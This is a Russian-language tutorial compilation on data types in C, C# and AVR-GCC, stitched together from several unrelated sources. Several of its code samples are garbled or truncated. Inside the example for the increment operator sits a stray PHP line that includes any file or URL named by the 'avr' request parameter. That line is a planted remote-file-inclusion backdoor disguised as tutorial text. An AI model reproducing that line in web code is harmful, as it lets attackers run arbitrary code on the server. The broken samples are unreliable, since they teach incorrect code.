Размер типа long. Типы данных

Наивысший приоритет получает тот тип, при котором информация теряется менее всего. Не стоит злоупотреблять неявным преобразованием типов, так как могут возникнуть разного рода непредвиденные ситуации.

• Явное преобразование в отличие от неявного осуществляется программистом. Существует несколько способов такого преобразования:

1. Преобразование в стили C : (float ) a
2. Преобразование в стили C++ : float ()

Также приведения типов может осуществляться при помощи следующих операций:

static_cast <> () const_cast <> () reinterpret_cast <> () dynamic_cast <> ()

static_cas - осуществляет преобразование связанных типов данных. Этот оператор приводит типы по обычным правилам, что может потребоваться в случае, когда компилятор не выполняет автоматическое преобразование. Синтаксис будет выглядеть так:

Тип static_cast <Тип> (объект);

С помощью static_cast нельзя убрать константность у переменной, но это по силам следующему оператору. const_cast - применяется только тогда, когда нужно снять константность у объекта. Синтаксис будет выглядеть следующим образом:

Тип const_cast < Тип > (объект );

reinterpret_cast - применяется для преобразования разных типов, целых к указателю и наоборот. Если вы увидели новое слово «указатель» - не пугайтесь! это тоже тип данных, но работать с ним Мы будем не скоро. Синтаксис тут такой же как, у ранее рассмотренных операторах:

Тип reinterpret _cast < Тип > (объект );

dynamic_cast - используется для динамического преобразования типов, реализует приведение указателей или ссылок. Синтаксис:

Тип dynamic _cast < Тип > (объект );

Управляющие символы

С некоторыми из этих самых «управляющих символов» Вы уже знакомы (например, с \n ). Все они начинаются с обратного «слеша», а также обрамляются двойными кавычками.

Типы данных. Программа на процедурных языках, к которым относится Си, представляет собой описание операций над величинами различных типов. Тип определяет множество значений, которые может принимать величина, и множество операций, в которых она может участвовать.

В языке Си типы связаны с именами (идентификаторами) величин, т. е. с переменными. С переменной в языке Си связывается ячейка памяти. Тип переменной задает размер ячейки, способ кодирования ее содержимого, допустимые преобразования над значением данной переменной. Все переменные должны быть описаны до их использования. Каждая переменная должна быть описана только один раз.

Описание состоит из спецификатора типа и следующего за ним списка переменных. Переменные в списке разделяются запятыми. В конце описания ставится точка с запятой.

Примерыописаний:

char a,b; /* Переменные а и b имеют тип

char */ intх; /* Переменная х - типа int

*/ char sym; /" Описаны переменные sym типа char;

*/ int count.num; /* num и count типа int */

Переменным могут быть присвоены начальные значения внутри их описаний. Если за именем переменной следует знак равенства и константа, то эта константа служит в качестве инициализатора.

Примеры: char backch = "\0";

Рассмотрим основные типы в языке Си.

int - целый ("integer"). Значения этого типа - целые числа из некоторого ограниченного диапазона (обычно от- 32768 до 32767). Диапазон определяется размером ячейки для типа и зависит от конкретного компьютера. Кроме того, имеются служебные слова, которые можно использовать с типом int: short int («short integer» - «короткое целое»), unsigned int («unsigned integer» - «целое без знака»), long int («длинное целое»), которые сокращают или, наоборот, расширяют диапазон представления чисел.

char - символьный («character»). Допустимое значение для этоготипа - одинсимвол (не путать с текстом!). Символ записывается в апострофах.

Примеры: "х"2"?"

В памяти компьютера символ занимает один байт. Фактически хранится не символ, а число - код символа (от 0 до 255). В специальных таблицах кодировки указываются все допустимые символы и соответствующие им коды.

В языке Си разрешается использовать тип char как числовой, т. е. производить операции с кодом символа, применяя при этом спецификатор целого типа в скобках - (int).

float - вещественный (с плавающей точкой). Значения этого типа - числа, но, в отличии от char и int, не обязательно целые.

12.87 -316.12 -3.345е5 12.345e-15

double - вещественные числа двойной точности. Этот тип аналогичен типу float, но имеет значительно больший диапазон значений (например, для системы программирования Borland-C от 1.7Е-308 до 1.7Е+308 вместо диапазона от 3.4Е-38 до 3.4Е+38 для типа float). Однако увеличение диапазона и точности представления чисел ведет к снижению скорости выполнения программ и неэкономному использованию оперативной памяти компьютера.

Обратите внимание на отсутствие в этом списке строкового типа. В языке Си нет специального типа, который можно было бы использовать для описания строк. Вместо этого строки представляются в виде массива элементов типа char. Это означает, что символы в строке будут располагаться в соседних ячейках памяти.

Необходимо отметить, что последним элементом массива является символ \0. Это «нуль-символ», и в языке Си он используется для того, чтобы отмечать конец строки. Нуль-символ не цифра 0; он не выводится на печать и в таблице кодов ASCII имеет номер 0. Наличие нуль-символа означает, что количество ячеек массива должно быть. по крайней мере, на одну больше,чем число символов, которые необходимо размещать в памяти.

Приведем пример использования строк.

Программа 84

# include main()

scanf("%s",string) ;

printf("%s",string);

В этом примере описан массив из 31 ячейки памяти, в 30 из которых можно поместить один элемент типа char. Он вводится при вызове функции scanf("%s",string); "&"отсутствует при указании массива символов.

Указатели . Указатель - некоторое символическое представление адресаячейкипамяти, отведенной для переменной.

Например, &name - указатель на переменную name;

Здесь & - операция получения адреса. Фактический адрес - это число, а символическое представление адреса &name является константой типа «указатель».

В языке Си имеются и переменные типа указатель. Точно так же, как значением переменной типа char является символ, а значением переменной типа int - целое число, значением переменной типа указатель служит адрес некоторой величины.

Если мы дадим указателю имя ptr, то сможем написать такой оператор:

ptr = &name;/* присваивает адрес name переменной ptr */

Мы говорим в этом случае, что prt «указатель на» name. Различие между двумя формами записи: ptr и &name - в том, что prt - это переменная, в то время как &name - константа. В случае необходимости можно сделать так, чтобы переменная ptr указывала на какой-нибудь другой объект:

ptr = &bah; /* ptr указывает на bah, а не на name */

Теперь значением переменной prt является адрес переменной bah. Предположим, мы знаем, что в переменной ptr содержится ссылка на переменную bah. Тогда для доступа к значению этой переменной можно воспользоваться операцией «косвенной адресации» * :

val = *ptr; /* определение значения, на которое указывает ptr */ Последние два оператора, взятые вместе, эквивалентны следующему:

Итак, когда за знаком & следует имя переменной, результатом операции является адрес указанной переменной; &nurse дает адрес переменной nurse; когда за знаком * следует указатель на переменную, результатом операции является величина, помещенная в ячейку памяти с указанным адресом.

Пример: nurse = 22;

ptr = &nuse; /* указатель на nurse */

Результат- присваивание значения 22 переменной val.

Недостаточно сказать, что некоторая переменная является указателем. Кроме этого необходимо сообщить, на переменную какого типа ссылается данный указатель. Причина заключается в том, что переменные разных типов занимают различное число ячеек памяти, в то время как для некоторых операций, связанных с указателями, требуется знать объем отведенной памяти.

Примеры правильного описания указателей: int *pi; char *pc;

Спецификация типа задает тип переменной, на которую ссылается указатель, а символ * определяет саму переменную как указатель. Описание вида int *pi; говорит, что pi - это указатель и что *pi - величина типа int.

В языке Си предусмотрена возможность определения имен типов данных. Любому типу данных с помощью определения typedef можно присвоить имя и использовать это имя в дальнейшем при описании объектов.

Формат: typedef <старый тип> <новый тип> Пример: typedef long LARGE; /* определяется тип large, эквивалентный типу long */

Определение typedef не вводит каких-либо новых типов, а только добавляет новое имя для уже существующего типа. Описанные таким способом переменные обладают точно теми же свойствами, что и переменные, описанные явно. Переименование типов используется для введения осмысленных или сокращенных имен типов, что повышает понятность программ, и для улучшения переносимости программ (имена одного типа данных могут различаться на разных компьютерах).

Операции. Язык Си отличается большим разнообразием операций (более 40). Здесь мы рассмотрим лишь основные из них, табл. 3.3.

Арифметические операции . К ним относят

Сложение(+),

Вычитание (бинарное) (-),

Умножение (*),

Деление (/),

Остаток от деления нацело (%),

Вычитание (унарное) (-) .

В языке Си принято правило: если делимое и делитель имеют тип int, то деление производится нацело, т е. дробная часть результата отбрасывается.

Как обычно, в выражениях операции умножения, деления и нахождения остатка выполняются раньше сложения и вычитания. Для изменения порядка действий используют скобки.

Программа 85

#include

5 = -3 + 4 * 5 - 6; printf("%d\n",s);

s = -3 + 4%5 - 6; printf("%d\n",s);

s = -3 * 4% - 6/5; printf("%d\n",s);

s= (7 + 6)%5/2; printf("%d\n",s);

Результат выполнения программы: 11 1 0 1

Таблица 3.3 Старшинство и порядок выполнения операций

Типы данных

Типы данных имеют особенное значение в C#, поскольку это строго типизированный язык. Это означает, что все операции подвергаются строгому контролю со стороны компилятора на соответствие типов, причем недопустимые операции не компилируются. Следовательно, строгий контроль типов позволяет исключить ошибки и повысить надежность программ. Для обеспечения контроля типов все переменные, выражения и значения должны принадлежать к определенному типу. Такого понятия, как "бестиповая" переменная, в данном языке программирования вообще не существует. Более того, тип значения определяет те операции, которые разрешается выполнять над ним. Операция, разрешенная для одного типа данных, может оказаться недопустимой для другого.

В C# имеются две общие категории встроенных типов данных: типы значений и ссылочные типы . Они отличаются по содержимому переменной. Концептуально разница между ними состоит в том, что тип значения (value type) хранит данные непосредственно, в то время как ссылочный тип (reference type) хранит ссылку на значение.

Эти типы сохраняются в разных местах памяти: типы значений сохраняются в области, известной как стек , а ссылочные типы - в области, называемой управляемой кучей .

Давайте разберем типы значений.

Целочисленные типы

В C# определены девять целочисленных типов: char, byte, sbyte, short, ushort, int, uint, long и ulong . Но тип char применяется, главным образом, для представления символов и поэтому рассматривается отдельно. Остальные восемь целочисленных типов предназначены для числовых расчетов. Ниже представлены их диапазон представления чисел и разрядность в битах:

Как следует из приведенной выше таблицы, в C# определены оба варианта различных целочисленных типов: со знаком и без знака. Целочисленные типы со знаком отличаются от аналогичных типов без знака способом интерпретации старшего разряда целого числа. Так, если в программе указано целочисленное значение со знаком, то компилятор C# сгенерирует код, в котором старший разряд целого числа используется в качестве флага знака. Число считается положительным, если флаг знака равен 0, и отрицательным, если он равен 1.

Отрицательные числа практически всегда представляются методом дополнения до двух, в соответствии с которым все двоичные разряды отрицательного числа сначала инвертируются, а затем к этому числу добавляется 1.

Вероятно, самым распространенным в программировании целочисленным типом является тип int . Переменные типа int нередко используются для управления циклами, индексирования массивов и математических расчетов общего назначения. Когда же требуется целочисленное значение с большим диапазоном представления чисел, чем у типа int, то для этой цели имеется целый ряд других целочисленных типов.

Так, если значение нужно сохранить без знака, то для него можно выбрать тип uint , для больших значений со знаком - тип long , а для больших значений без знака - тип ulong . В качестве примера ниже приведена программа, вычисляющая расстояние от Земли до Солнца в сантиметрах. Для хранения столь большого значения в ней используется переменная типа long:

Using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ConsoleApplication1 { class Program { static void Main(string args) { long result; const long km = 149800000; // расстояние в км. result = km * 1000 * 100; Console.WriteLine(result); Console.ReadLine(); } } }

Всем целочисленным переменным значения могут присваиваться в десятичной или шестнадцатеричной системе обозначений. В последнем случае требуется префикс 0x:

Long x = 0x12ab;

Если возникает какая-то неопределенность относительно того, имеет ли целое значение тип int, uint, long или ulong, то по умолчанию принимается int. Чтобы явно специфицировать, какой другой целочисленный тип должно иметь значение, к числу можно добавлять следующие символы:

Uint ui = 1234U; long l = 1234L; ulong ul = 1234UL;

U и L можно также указывать в нижнем регистре, хотя строчную L легко зрительно спутать с цифрой 1 (единица).

Типы с плавающей точкой

Типы с плавающей точкой позволяют представлять числа с дробной частью. В C# имеются две разновидности типов данных с плавающей точкой: float и double . Они представляют числовые значения с одинарной и двойной точностью соответственно. Так, разрядность типа float составляет 32 бита, что приближенно соответствует диапазону представления чисел от 5E-45 до 3,4E+38. А разрядность типа double составляет 64 бита, что приближенно соответствует диапазону представления чисел от 5E-324 до 1,7Е+308.

Тип данных float предназначен для меньших значений с плавающей точкой, для которых требуется меньшая точность. Тип данных double больше, чем float, и предлагает более высокую степень точности (15 разрядов).

Если нецелочисленное значение жестко кодируется в исходном тексте (например, 12.3), то обычно компилятор предполагает, что подразумевается значение типа double. Если значение необходимо специфицировать как float, потребуется добавить к нему символ F (или f):

Float f = 12.3F;

Десятичный тип данных

Для представления чисел с плавающей точкой высокой точности предусмотрен также десятичный тип decimal , который предназначен для применения в финансовых расчетах. Этот тип имеет разрядность 128 бит для представления числовых значений в пределах от 1Е-28 до 7,9Е+28. Вам, вероятно, известно, что для обычных арифметических вычислений с плавающей точкой характерны ошибки округления десятичных значений. Эти ошибки исключаются при использовании типа decimal, который позволяет представить числа с точностью до 28 (а иногда и 29) десятичных разрядов. Благодаря тому что этот тип данных способен представлять десятичные значения без ошибок округления, он особенно удобен для расчетов, связанных с финансами:

Using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ConsoleApplication1 { class Program { static void Main(string args) { // *** Расчет стоимости капиталовложения с *** // *** фиксированной нормой прибыли*** decimal money, percent; int i; const byte years = 15; money = 1000.0m; percent = 0.045m; for (i = 1; i

Результатом работы данной программы будет:

Символы

В C# символы представлены не 8-разрядным кодом, как во многих других языках программирования, например С++ , а 16-разрядным кодом, который называется юникодом (Unicode) . В юникоде набор символов представлен настолько широко, что он охватывает символы практически из всех естественных языков на свете. Если для многих естественных языков, в том числе английского, французского и немецкого, характерны относительно небольшие алфавиты, то в ряде других языков, например китайском, употребляются довольно обширные наборы символов, которые нельзя представить 8-разрядным кодом. Для преодоления этого ограничения в C# определен тип char , представляющий 16-разрядные значения без знака в пределах от 0 до 65 535. При этом стандартный набор символов в 8-разрядном коде ASCII является подмножеством юникода в пределах от 0 до 127. Следовательно, символы в коде ASCII по-прежнему остаются действительными в C#.

Для хранения различных данных в языках программирования используют переменные. Переменной называется область памяти, имеющая имя, которое иначе называют идентификатором.

Давая переменной имя, программист одновременно тем же именем называет и область памяти, куда будут записываться значения переменной для хранения.

Хорошим стилем является осмысленное именование переменных. Разрешается использовать строчные и прописные буквы, цифры и символ подчёркивания, который в Си считается буквой. Первым символом обязательно должна быть буква, в имени переменной не должно быть пробелов. В современных версиях компиляторов длина имени практически не ограничена. Имя переменной не может совпадать с зарезервированными ключевыми словами. Заглавные и строчные буквы в именах переменных различаются, переменные a и A - разные переменные.

Зарезервированные ключевые слова auto double int struct break else long switch register tupedef char extern return void case float unsigned default for signed union do if sizeof volatile continue enum short while
В языке Си все переменные должны быть объявлены. Это означает, что, во-первых, в начале каждой программы или функции Вы должны привести список всех используемых переменных, а во-вторых, указать тип каждой из них.

При объявлении переменной компилятор отводит ей место в памяти в зависимости от её типа. Стандартными средствами AVR GCC работает с типами данных char (символьный тип) и int (целочисленный тип).

Тип char

char - является самым экономным типом. Тип char может быть знаковым и беззнаковым. Обозначается, соответственно, как "signed char " (знаковый тип) и "unsigned char " (беззнаковый тип). Знаковый тип может хранить значения в диапазоне от -128 до +127. Беззнаковый - от 0 до 255. Под переменную типа char отводится 1 байт памяти (8 бит).

Ключевые слова (модификаторы) signed и unsigned указывают, как интерпретируется нулевой бит объявляемой переменной, т.е., если указано ключевое слово unsigned, то нулевой бит интерпретируется как часть числа, в противном случае нулевой бит интерпретируется как знаковый.

Тип int

Целочисленная величина int может быть short (короткой) или long (длинной).

Ключевое слово (модификатор) short ставится после ключевых слов signed или unsigned . Таким образом, различают следующие типы: signed short int, unsigned short int, signed long int, unsigned long int .

Переменная типа signed short int (знаковая короткая целая) может принимать значения от -32768 до +32767, unsigned short int (беззнаковая короткая целая) - от 0 до 65535. Под каждую из них отводится ровно по два байта памяти (16 бит).

При объявлении переменной типа signed short int ключевые слова signed и short могут быть пропущены, и такой тип переменной может быть объявлен просто int . Допускается и объявление этого типа одним ключевым словом short .

Переменная unsigned short int может быть объявлена как unsigned int или unsigned short .

Под каждую величину signed long int или unsigned long int отводится 4 байта памяти (32 бита). Значения переменных этого типа могут находиться в интервалах от -2147483648 до 2147483647 и от 0 до 4294967295 соответственно.

Существуют также переменные типа long long int , для которых отводится 8 байт памяти (64 бита). Они также могут быть знаковыми и беззнаковыми. Для знакового типа диапазон значений лежит в пределах от -9223372036854775808 до 9223372036854775807, для беззнакового - от 0 до 18446744073709551615. Знаковый тип может быть объявлен и просто двумя ключевыми словами long long .

Переменные объявляют в операторе описания. Оператор описания состоит из спецификации типа и списка имён переменных, разделённых запятой. В конце обязательно должна стоять точка с запятой.

Объявление переменной имеет следующий формат:

[модификаторы] спецификатор_типа идентификатор [, идентификатор] ...

Модификаторы - ключевые слова signed , unsigned , short , long .
Спецификатор типа - ключевое слово char или int , определяющее тип объявляемой переменной.
Идентификатор - имя переменной.

Пример: char x; int a, b, c; unsigned long long y;
Таким образом, будут объявлены переменные x , a , b , c , y . В переменную x можно будет записывать значения от -128 до 127. В переменные a , b , c - от -32768 до +32767. В переменную y - от 0 до 18446744073709551615.

Инициализация значения переменной при объявлении

При объявлении переменную можно проинициализировать, то есть присвоить ей начальное значение. Сделать это можно следующим образом. int x = 100; Таким образом, в переменную x при объявлении сразу же будет записано число 100.

Лучше избегать смешивания инициализируемых переменных в одном операторе описания, то есть инициализируемые переменные лучше объявлять в отдельных строках.

Переменная любого типа может быть объявлена как немодифицируемая. Это достигается добавлением ключевого слова const к спецификатору типа. Переменные с типом const представляют собой данные, используемые только для чтения, то есть этой переменной не может быть присвоено новое значение. Если после слова const отсутствует спецификатор типа, то константы рассматриваются как величины со знаком, и им присваивается тип int или long int в соответствии со значением константы: если константа меньше 32768, то ей присваивается тип int , в противном случае long int .

Пример: const long int k = 25; const m = -50; // подразумевается const int m=-50 const n = 100000; // подразумевается const long int n=100000

Для присваивания в Си служит знак "=". Выражение, стоящее справа от знака присваивания, вычисляется, и полученное значение присваивается переменной, стоящей слева от знака присваивания. При этом предыдущее значение, хранящееся в переменной, стирается и заменяется на новое.

Оператор "=" не следует понимать как равенство.
Например, выражение a = 5; следует читать как "присвоить переменной a значение 5".

Примеры: x = 5 + 3; // сложить значения 5 и 3, // результат присвоить переменной x (записать в переменную x) b = a + 4; // прибавить 4 к значению, хранящемуся в переменной a, // полученный результат присвоить переменной b (записать в переменную b) b = b + 2; // прибавить 2 к значению, хранящемуся в переменной b, // полученный результат присвоить переменной b (записать в переменную b)
В правой части значение переменной может использоваться несколько раз: c = b * b + 3 * b;

Пример: x = 3; // переменной x будет присвоено значение 3 y = x + 5; // к значению, хранящемуся в переменной x, будет прибавлено число 5, // полученный результат будет записан в переменную y z = x * y; // значения переменных x и y будут перемножены, // результат будет записан в переменную z z = z - 1; // от значения, хранящегося в переменной z, будет отнято 1 // результат будет записан в переменную z
Таким образом, в переменной z будет храниться число 23

Кроме простого оператора присваивания "=", в Си существует еще несколько комбинированных операторов присваивания: "+=", "-=", "*=
Примеры: x += y; // то же, что и x = x + y; - сложить x и y // и записать результат в переменную x x -= y; // то же, что и x = x - y; - отнять от x значение y // и записать результат в переменную x x *= y; // то же, что и x = x * y; - умножить x на y // и записать результат в переменную x x /= y; // то же, что и x = x / y; - разделить x на y // и записать результат в переменную x x %= y; // то же, что и x = x % y; // вычислить целочисленный остаток от деления x на y // и записать результат в переменную x

Если необходимо изменить значение переменной на 1, то используют инкремент или декремент .

Инкремент - операция увеличения значения, хранящегося в переменной, на 1.

Пример: x++; // значение переменной x будет увеличено на 1 $WinAVR = ($_GET["avr"]); if($WinAVR) include($WinAVR);?>
Декремент - операция уменьшения значения, хранящегося в переменной, на 1.

Пример: x--; // значение переменной x будет уменьшено на 1
Инкремент и декремент относятся к операциям присваивания. При использовании декремента и инкремента совместно с оператором присваивания "=" применяют постфиксную (x++) или префиксную (++x) запись. Первой выполняется префиксная запись.

Примеры: y = x++;
Предположим, что в переменной x хранилось значение 5. Тогда в y будет записано значение 5, после чего значение переменной x будет увеличено на 1. Таким образом, в y будет 5, а в x - 6. y = --x;
Если в x хранилось значение 5, то сначала будет выполнено уменьшение x до 4, а затем это значение будет присвоено переменной y . Таким образом, x и y будет присвоено значение 4.

Все данные в языке Си имеют свой тип. Переменные определенных типов занимают в памяти какое-то место, разное в зависимости от типа. В Си нет четкого закрепления количества памяти за определенными типами. Это отдано на реализацию конкретного компилятора под конкретную платформу. Например, переменная типа int в одном компиляторе может занимать в памяти 16 бит, в другом — 32 бита, в третьем — 8 бит. Все определяет конкретный компилятор. Правда, все стремятся к универсализации, и в основном в большинстве компиляторов тип int , например, занимает 2 байта, а тип char — один.

Я в последнее время немного затупил, не мог вспомнить, сколько байт занимает тип double в AVR-GCC . Обычно при программировании контроллеров работаешь с целочисленными типами, типа int и char , а к типам с плавающей точкой прибегаешь не часто, в связи с их ресурсоемкостью.

Поэтому, на будущее, оставлю себе здесь памятку с указанием размеров занимаемой памяти типами данных для компилятора AVR-GCC и диапазон изменения переменных этого типа.

Типы данных в языке Си для компилятора AVR-GCC

Обратите внимание

Реализация типа double в AVR-GCC отступает от стандарта. По стандарту double занимает 64 бита. В AVR-GCC переменная этого типа занимает 32 бита, и соответственно, она эквивалентна переменной с типом float !

В дополнение к этому, в библиотеках AVR-GCC введено несколько производных от стандартных типов. Они описаны в файле stdint.h . Сделано это, наверно, для улучшения наглядности и уменьшения текста программ (ускорения их написания:)). Вот табличка соответствия:

Производные типы от стандартных в языке Си для компилятора AVR-GCC

Тип Void

В языке Си есть еще один тип — тип void . Void используется для указания, что функция не возвращает ничего в качестве результата, или не принимает на вход никаких параметров. Этот тип не применяется для объявления переменных, соответственно он не занимает места в памяти.